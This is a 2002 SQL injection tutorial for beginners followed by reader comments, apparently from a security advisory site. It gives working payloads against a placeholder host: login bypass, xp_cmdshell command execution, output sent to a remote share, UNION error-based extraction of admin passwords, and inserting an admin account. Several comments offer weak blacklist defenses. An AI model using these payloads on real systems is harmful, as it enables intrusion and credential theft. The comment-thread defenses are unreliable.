SQL Injection Walkthrough

26 May 2002

Summary

The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.

Credit:

The information has been provided by SK.

Details

1.0 Introduction

When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

1.1 What is SQL Injection?

It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?

Any web browser.

2.0 What you should look for?

Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

```
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
```

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).

2.1 What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?

Start with a single quote trick. Input something like:

```
hi' or 1=1--
```

Into login, or password, or even in the URL. Example:

- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

```
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
```

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?

Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

```
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
```

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

```
SELECT * FROM product WHERE PCategory='food'
```

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

```
SELECT * FROM product WHERE PCategory='food' or 1=1--'
```

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
```

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

```
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
```

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a
column of data type int.
/index.asp, line 5
```

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
```

We also can search for data using LIKE keyword:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to
a column of data type int.
/index.asp, line 5
```

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a
```

```
column of data type int.
/index.asp, line 5
```

Now that we have the first column name, we can use NOT IN () to get the next column name:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME
NOT IN ('login_id')--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a
column of data type int.
/index.asp, line 5
```

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME
NOT IN ('login_id','login_name','password',details')--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the
statement contains a UNION operator.
/index.asp, line 5
```

6.2 How to retrieve any data we want?

Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a
column of data type int.
/index.asp, line 5
```

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
```

Output:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
```

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL

- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 Where can I get more info?

One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml

Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm

Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

Comments:

Subject:	for php and mysql	**Date:**	15 Nov. 2005
From:	just me		
There is a nice article, that comes with a working solution for php+mysql injection. http://www.askbee.net/articles/php/SQL_Injection/sql_injection.html			

Subject:	Another discussion	**Date:**	21 Nov. 2005
From:	Andrew		
I discuss this subject with a basic introduction to SQL at the following address: http://andrew.absurdlycool.com/class/l7.html			

Subject:	Good article but...	**Date:**	16 Dec. 2005
From:	shareefer		
Great article, except for one thing. As a matter of prevention, you should ALWAYS use stored procedures in your web code. stored procedures interpret there parameters literally even if they contain SQL code. so all SQL injections are blocked... simple as that. no need for checking for dashes, quotes, SQL key words, ect.			

Subject:	Stored Procs are not guaranteed protection	**Date:**	18 Jan. 2006
From:	dbjstein		

In response to the note above, it is not I believe the case that stored procedures prevent SQL injection in all cases. Stored procedures are frequently set up to contain dynamic SQL, where the statement is constructed at runtime. In those cases, there is no precompiled statement, and therefore no prevention of SQL injection techniques. Only if the stored procedure contains a defined SQL statement with bind variables or parameters to be parsed into the statement, will it prevent SQL injection.

Subject:	Variance in SQL server error messages	**Date:**	10 Feb. 2006
From:	redeye		

I tried testing this on a site, using something similar to:

```
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
```

Instead of the useful

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a
column of data type int.
/index.asp, line 5
```

I get this:

```
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting character string to smalldatetime data type.
/titlenews.inc, line 46
```

Is this a newer version of SQL server or a differently configured one, one which deliberately does not output the useful data?

Subject:	bind variables	**Date:**	10 Feb. 2006
From:	seph		

How is using a stored procedures going to prevent this?
... you just need to make sure you use bind variables.

Subject:	SQL injection sux	**Date:**	21 Feb. 2006
From:	White HaCker		

I prefer LKM rootkit attacks for sun servers .
This could be used as a kernel hackin trick .
Just like the way i used to code buffer over flows for unix servers ...

Subject:	nice article to get to know SQL injection	**Date:**	3 Mar. 2006
From:	Ashvinbodhale		

The attack can b foiled by already developed apps n also stored procs that are embedded inside code--- all works well.

---

chk this URL...http://www.askbee.net/articles/php/SQL_Injection/sql_injection.html

Subject:	what about this solution	**Date:**	15 Mar. 2006
From:	da_man		

I tested a forum made by a friend and his login looked kinda like this (shortened down a bit):

```
$query_1 = mysql_query(&quote;SELECT * FROM &quote;.$tpref.&quote;users WHERE UserName =
'$_POST[usern]' AND PassWord = '$_POST[passwd]'&quote;);

//check login
if (mysql_num_rows($query_1) == 1){
// do login stuff
} else {
// print error msg
}
```

how safe is that against sql injection?

Subject:	I highly suggest you watch this video...	**Date:**	14 Jul. 2006
From:	Ralph		

I found this BLOG which has some SQL Injection info, along with a link of a video where a guy uses SQL injection to replace a logging dll on a webserver and captures credit card information.

Anyone who thinks this is no big deal needs to watch. Goto this URL and then look for the video link.

http://devauthority.com/blogs/jwooley/archive/2006/07/11/1672.aspx

Subject:	stored procedure	**Date:**	24 Jul. 2006
From:	Ivan		

Stored procedures are not always safe because they construct a sql statement at runtime pretty much the same way as a program would. It is possible, however, that arguments are being passed to a stored procedure at runtime and that the actual SQL statement doesn't contain the arguments. There are sites which explain how to do this in SQL Server.

Subject:	jim	**Date:**	1 Aug. 2006
From:	jim.scuba.kennedygmail.com		

Very scary that people think the use of stored procs will protect them from sql injection. (or the use of a particular web or RDBMS technology)

Folks, USE BIND VARIABBLES. Don't allow dynamic SQL. If you want to use stored procs that is fine, but your stored procs better NOT use dynamic sql. This problem isn't soley a windows/sql server problem; it can appear on any db server and any OS with any language of you do it right. (wrong) Again use bind variables. Also bind variables scale better.

Subject:	my way	**Date:**	27 Aug. 2006
From:	felpharyahoo.com		

Ya don't execute the code if contains ; / \ ' &quote; = - is that simple. Why does anybody trye to comlicate it????

Subject:	my way	**Date:**	7 Sep. 2006
From:	Libstar		

Not that simple felpharyahoo.com!! What if user requirement is to enter a string including one of these charaters? ; / \ ' &quote; = - (e.g. surname O'Neill which includes an apostrophe)

You gonna tell your client they can't have what they need? They gonna tell ya, you're not getting paid!!!

Subject:	to the person above me	**Date:**	8 Sep. 2006
From:	LostDreamer		

Well, if you do not execute any sql query containing those digits, how would one make a forum ? or any place where people can post messages ?

when they use a word with a ' in it, the code would not execute the insert query .....

Also good option against SQL Injection is Magic Quotes.... replaces all the ' & &quote; with ' & \&quote; which would not end / alter the SQL query.

Subject:	languagelibrary problem	**Date:**	23 Sep. 2006
From:	gaba		

Frankly people, this is rediculous. You folks should start getting on at your language designers to do things properly so this stuff is not a problem.

The only problem here is that data passed to SQL does not have 'special' characters quoted before it gets to the query.

You should be able to do this manually. However, you should be given library functions that automatically do this for you.

```
searchfor=&quote;myid&quote;;
query=&quote;select * from table where id=?&quote;;
executequery(query, searchfor);
```

If the execute query function autmatically removes all SQL injection problems, this is a non-issue.

I consider it a fatal language flaw not to have such a library issued as the standard database implementation.

Subject:	SQL injection on MS SQL and ASP.	**Date:**	17 Oct. 2006
From:	Vaclav		

I put an article on the web about MS SQL & ASP, including a practice example how it worked.

http://www.slavicek.net/misc/SqlInjection/index_en.htm

Subject:	sql injection	**Date:**	19 Oct. 2006
From:	ChrisM		

why don't you just (vb6):

replace(user_param,&quote;'&quote;,&quote;''&quote;) when concatenating to dynamic sql string?

(replace single quote with two single quotes)

strsql = &quote;select * from table where user='admin' and password='&quote; & replace(user_param,&quote;'&quote;,&quote;''&quote;) & &quote;'&quote;

```
set rs = conn.execute(strsql)
```

Subject:	Excellent!!!!	**Date:**	22 Nov. 2006
From:	Rurouni , rakhslackware-es.com		

Excellent little tutorial..!!! thanks,

just in case, if you get an error in section while using:
NOT IN ('login_id')-- , etc. .. you could try
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME <> 'login_id'--

It worked perfectly for me (<> means 'different'),

Subject:	excellent but stored proc is hackable	**Date:**	2 Jan. 2007
From:	gary		

Try this on your Northwind database:
SP:

```
CREATE PROCEDURE test (@mycity nvarchar(15))

AS

SELECT EmployeeID, LastName, FirstName, HomePhone, City
FROM Employees
WHERE City = @mycity
```

Now in query manager type in:
exec test 'x'; exec master.dbo.xp_cmdshell 'dir *.exe';--'
and this will work.

Subject:	easiest way to prevent it	**Date:**	7 Feb. 2007
From:	Ole		

There is a simple solution to all this, dunno if anybody mentioned it already since i didn't read it all. Replace the variable you send into the sql querry like this: replace(variableName,&quote;'&quote;,&quote;'&quote;) and your home fee. The ' is now text based and wont interrupt the sqlquerry.

Oh .. and to all the ppl here trying to use this shit to hack .. don't, the only thing you do is ruin other ppls data. update a table and append the -- and you update every single row in that table since there is no reference to which row your updating anymore.

Don't bloody well try to hack! its not l33t or cool or anything. Anybody can follow a recipe.

Subject:	Response to purpoted exploit	**Date:**	9 Feb. 2007
From:	thatoneguy		

Now in query manager type in:
exec test 'x'; exec master.dbo.xp_cmdshell 'dir *.exe';--'
and this will work.
================

That works because the &quote;;&quote; key in Query Analyzer effectively sends two separate commands. To demonstrate the effect of attempting to attack that store procedure via a sql injection vector, it would look like this:

exec test 'x; exec master.dbo.xp_cmdshell 'dir *.exe'

Your initial syntax in QA is functionally identical to:

```
exec test 'x'
GO
exec master.dbo.xp_cmdshell 'dir *.exe'
GO
```

Subject:	easiest way to prevent it	**Date:**	12 Feb. 2007
From:	Ole		

oh fuck, the replace text was messed up by this form submission .. what i meant to write was replace the ' with the ascii equivalent of the sign...

Subject:	Yeap, not bad	**Date:**	12 Mar. 2007
From:	DarkDawn		

Hi developers,
Have a suggestion for you guys also. At the same time you are keeping an eye on the data passed to your Queries/SPs , change your error messages also in your app/server. Try to post the main message to a defined mail address for later checks and show something simple by error time. It is possible thru .net and is working for us, not sure about the other languages but must be a way.
By the way, it is always PERFECT to know what are the possible ways getting into your app AND DO NOT FORGET: crackers are mostly really smart; hire one for your security if it is really necessary. ;)
GL & Tanx

Subject:	Interesting..	**Date:**	30 Mar. 2007
From:	Chia		

btw, If you RUN IIS 6.0, just disable access to root directory using &quote;..\&quote; and also, disable &quote;Detailed Error Message&quote; and replace it with &quote;Sorry, and error has occured&quote; this way, there is no way for the attempting hacker to get any info back. Also in your ASP code or ASP.NET either use stored procedures, or make addition check statements to look at your Request.QueryString(&quote;&quote;) or Request.Form(&quote;&quote;)... like.. do a instr(stringname,&quote;;&quote;) test and see if &quote;;&quote; is found, if so throw exception. because if you enter data into a vulnerable form this will happen:
Lets say you input &quote;test' ; <any SQL Command>;&quote; into the form, then for the following SQL Query
SQLString = &quote;Select * From Table1 where Username='&quote; & userName & &quote;'&quote;...
It would look like :
Select * From Table1 where Username='test'; <any SQL Command>;
Which would then execute whatever comes after.

And you should test for other similar things, such as comamnds to Delete records and so forth. :)

Subject:	Morons	**Date:**	10 May 2007
From:	Basiclife		

My official position is that half the people here are morons... SQL injection is a valid method of attack to ANY database with a web app (unless the developer had been careful). Stored procedures are NOT safe - If you call sp_Login 'username', 'password' and someone replaces 'username' with ','';<QUERY>-- then it will still execute query. Also, to the people above who are only here because they are too incompetent to understand the principles of SQL Injection - Go home and try again.

In regards to PHP: php has a mysql_escape_string function which is very handy for preventing injection but whether or not the developer uses it is another question.

And in answer to the post above, that's an ASP.NET error page which is specifically designed to not show ANY error informationf or HTTP 500 errors, thus making your life REALLY hard.

The yellow boxes on the error with the web configs are explaining how the site owner can allow error messages to be shown (noone does). This one might be a real pain. good luck :)

Subject:	Preventing SQL Injection	**Date:**	17 May 2007
From:	Vasu		

That is a good thing to do. Custom Errors mode = RemoteOnly prevents the error being shown to End User. That is definitely a good practice.

1) May be some times genuine errors that u may face when u r using from a client PC. Same u may not be able to simulate from Server or next time u do it. So it is always a good practice to use this

Try

Catch e as exception 'This can be put for every exception type
'Write to Original error Eventlog
'Put a Generic Message to the screen
'like 'There is Generic Error in the Operations, Contact .... for getting your problem resolved'

End try

This is useful in .NET. You can put you equivalent code as per ur code language and Ensure all ur SQL Statement are covered with Error Handling. And No Error should be passed on to the screen from database.

2) Avoid using login 'sa' to access the data. Create a login on your own. Restrict its access only to your database avoiding master db access.

Subject:	A very simple solution for this!	**Date:**	29 Jun. 2007
From:	Freaky		

place this in your config file:
$_SERVER['REQUEST_URI'] = mysql_real_escape_string($_SERVER['REQUEST_URI']);

if you don't like this way use this:
$sql_url = $_SERVER['REQUEST_URI'];
$sql_array = Array();

```
$sql_array[] = &quote;mysql&quote;;
$sql_array[] = &quote;)&quote;;
$sql_array[] = &quote;;&quote;;
$sql_array[] = &quote;'&quote;;
$sql_array[] = &quote;}&quote;;
$sql_array[] = &quote;INSERT&quote;;
$sql_array[] = &quote;DROPTABLE&quote;;
$sql_array[] = &quote;TRUNCATE&quote;;
$sql_array[] = &quote;DROP&quote;;
$sql_array[] = &quote;UPDATE&quote;;
$sql_array[] = &quote;%&quote;;
$sql_array[] = &quote;UNION&quote;;
$sql_array[] = &quote;ALL&quote;;
// $sql_array[] = &quote;&quote;; add things yourself

foreach($sql_array As $not_alowed) {
if(eregi($not_alowed,$sql_url)) {
echo 'SQL injection security!';
exit;
}
}
```

this will block all things named in de arrays!

All you have to do is put this in your config file that will be included into every page and all your problemes are solved!

Subject:	Stored procedures do not prevent injection	**Date:**	5 Jul. 2007
From:	Burhaan		

Using stored procedures does not necessarily prevent SQL injection. One has to be careful and ensure that stronly names types are defined in code. I learnt this the hard way !

Subject:	My Way	**Date:**	14 Aug. 2007
From:	MohamadSoftengYahoo.com		

for neglecting all of this type of SQL (injecting) you can fetch all rows from the database and then compare the input with each record in the database like this:

```
$con=mysql_query(&quote;SELECT * FROM login WHERE ID<>'Login';&quote;);
while($get=mysql_fetch_row($con))
{
if($get[0]==$_REQUEST[&quote;ID&quote;] && $get[1]==$_REQUEST[&quote;Password&quote;])
{
print(&quote;Login accepted ...&quote;);
}
}
```

Subject:	lol	**Date:**	21 Aug. 2007
From:	VaRz		

```
try
$re=array(&quote;*&quote;, &quote;,&quote;, &quote;|&quote;, &quote;`&quote;, &quote;'&quote;,
&quote;&quote;&quote;, &quote;%&quote;);
if ($_POST['textbox']){
str_replace($re,&quote;&quote;,$_POST['textbox']);
}
```

see if this works

Subject:	Of course SP are suscpetible!	**Date:**	2 Nov. 2007
From:	Basiclife		

For a start, it depends HOW you call the SP - I worked at a company that did something like (ASP):

```
Set ObjRS = ObjCon.Execute(&quote;EXEC ap_login '&quote; & ... Blah
```

The problem is, it just moves the SQL injection issue from the DB to the web server. SPs are _more_ secure if parameterised correctly.

Additionally, Dynamic SQL in the SP will completely invalidate any such precautions unless you manually type-check, etc... as an SP does.

good article though - very handy for easily explaining to others (saves me repeating myself ad infinitum)

Thanks

Subject:	Help me in SQL Ijection	**Date:**	22 Nov. 2007
From:	DaSatti danish_satti2002atyahoo.com		

I have a simple query and i am trying SQL Injection but do not succeed. Here is the query

```
$query=&quote;select * from users where `user_name` = '&quote;.$user.&quote;' and `password` =
'&quote;.$pass.&quote;'&quote;;
$res=mysql_query($query) or die(&quote;Error executing query&quote;.mysql_error());
if(mysql_num_rows($res)>0)
{//other code
}
else
{echo &quote;invalid username or password&quote;; }
```

NO i am inserting following in the username field
' or 1=1 --

Still I am getting &quote;Invalid username or password&quote; What mistake an i making. I will be thankful if someone from you reply at my above provided email

Thanks

Subject:	What to do when magicquotegpc is on	**Date:**	12 Dec. 2007
From:	DaSatti Rawalpindi		

Basic SQL Injection doesent work when whe magic_quote_gpc variable is on. By default it is on in PHP. How evber their are chances that it will not be on in later versions. The purpose of this is that it just embeds &quote;\&quote; behind the characters such as &quote; ' &quote;, &quote; &quote; &quote;, &quote; \ &quote; and some of teh others. Can anybody tell what to do in this case

Subject:	Great artical!	**Date:**	31 Dec. 2007
From:	BkJk		

Hey. Very nice artical.

I would just like to point out that when you said that SYSTEM has the same privileges as the administrator that that is slightly off. SYSTEM actually has more privileges because SYSTEM can terminate any process owned by SYSTEM whereas even an administrator can't do this. Nothing big, just wanted to point that out.

Subject:	How to prevent SQL injection.	**Date:**	10 Feb. 2008
From:	Mike		

I have a very effective way of stopping SQL injection --- if you're using PHP 5.2.3 use this little function:

```
function filter(&$item) {
if (is_array($item)) foreach ($item as &$element) filter($element);
else $item = str_replace(str_split(&quote;=+()*\\/&quote;), NULL, htmlentities($item, ENT_QUOTES,
&quote;ISO-8859-1&quote;, TRUE));
}
```

Then simply call it on $_REQUEST:

```
filter($_REQUEST);
```

Job done :)

Subject:	sql injection tools to download	**Date:**	12 Feb. 2008
From:	sqlinject		

how to guard against the sql injection:
http://beta.firsttub.com/htdocs/cms/wordpress/2008/02/12/guard-against-the-sql-injection/

Subject:	Is this safe part 1 of 2	**Date:**	16 Feb. 2008
From:	blaghssd		

```
foreach($arrayname as $key => $value)
{
$value = str_replace(&quote;$&quote;, &quote;_DOLLAR_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;=&quote;, &quote;_E_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;&&quote;, &quote;_AND_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;*&quote;, &quote;_STAR_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;?&quote;, &quote;_QUESTION_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;|&quote;, &quote;_PIPE_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;`&quote;, &quote;_TICK_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;#&quote;, &quote;_POUND_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;^&quote;, &quote;_CARROT_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;!&quote;, &quote;_EXCLAMATION_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;;&quote;, &quote;_SEMICOLON_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;~&quote;, &quote;_WAVE_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;.&quote;, &quote;_PERIOD_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;\&quote;&quote;, &quote;_QUOTE_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;'&quote;, &quote;_APOSTROPHE_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;\\&quote;, &quote;_BACKSLASH_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;@&quote;, &quote;_AT_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;<&quote;, &quote;_LEFT_ARROW_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;>&quote;, &quote;_RIGHT_ARROW_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;[&quote;, &quote;_LEFT_BRACKET_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;]&quote;, &quote;_RIGHT_BRACKET_&quote;, &quote;$value&quote;);
$value = str_replace(&quote;%&quote;, &quote;_PERCENT_&quote;, &quote;$value&quote;);

$returnarray[$key] = $value;
}
```

Subject:	Is this safe part 2 of 2	**Date:**	16 Feb. 2008
From:	blaghssd		

```
$value = str_replace(&quote;_DOLLAR_&quote;, &quote;$&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_E_&quote;, &quote;=&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_AND_&quote;, &quote;&&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_STAR_&quote;, &quote;*&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_QUESTION_&quote;, &quote;?&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_PIPE_&quote;, &quote;|&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_TICK_&quote;, &quote;`&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_POUND_&quote;, &quote;#&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_CARROT_&quote;, &quote;^&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_EXCLAMATION_&quote;, &quote;!&quote; , &quote;$value&quote;);
$value = str_replace(&quote;_SEMICOLON_&quote;, &quote;;&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_WAVE_&quote;, &quote;~&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_PERIOD_&quote;, &quote;.&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_QUOTE_&quote;, &quote;\&quote;&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_APOSTROPHE_&quote;, &quote;'&quote;, &quote;$value&quote;);
$value = str_replace(&quote;_BACKSLASH_&quote;, &quote;\\&quote;, &quote;$value&quote;);
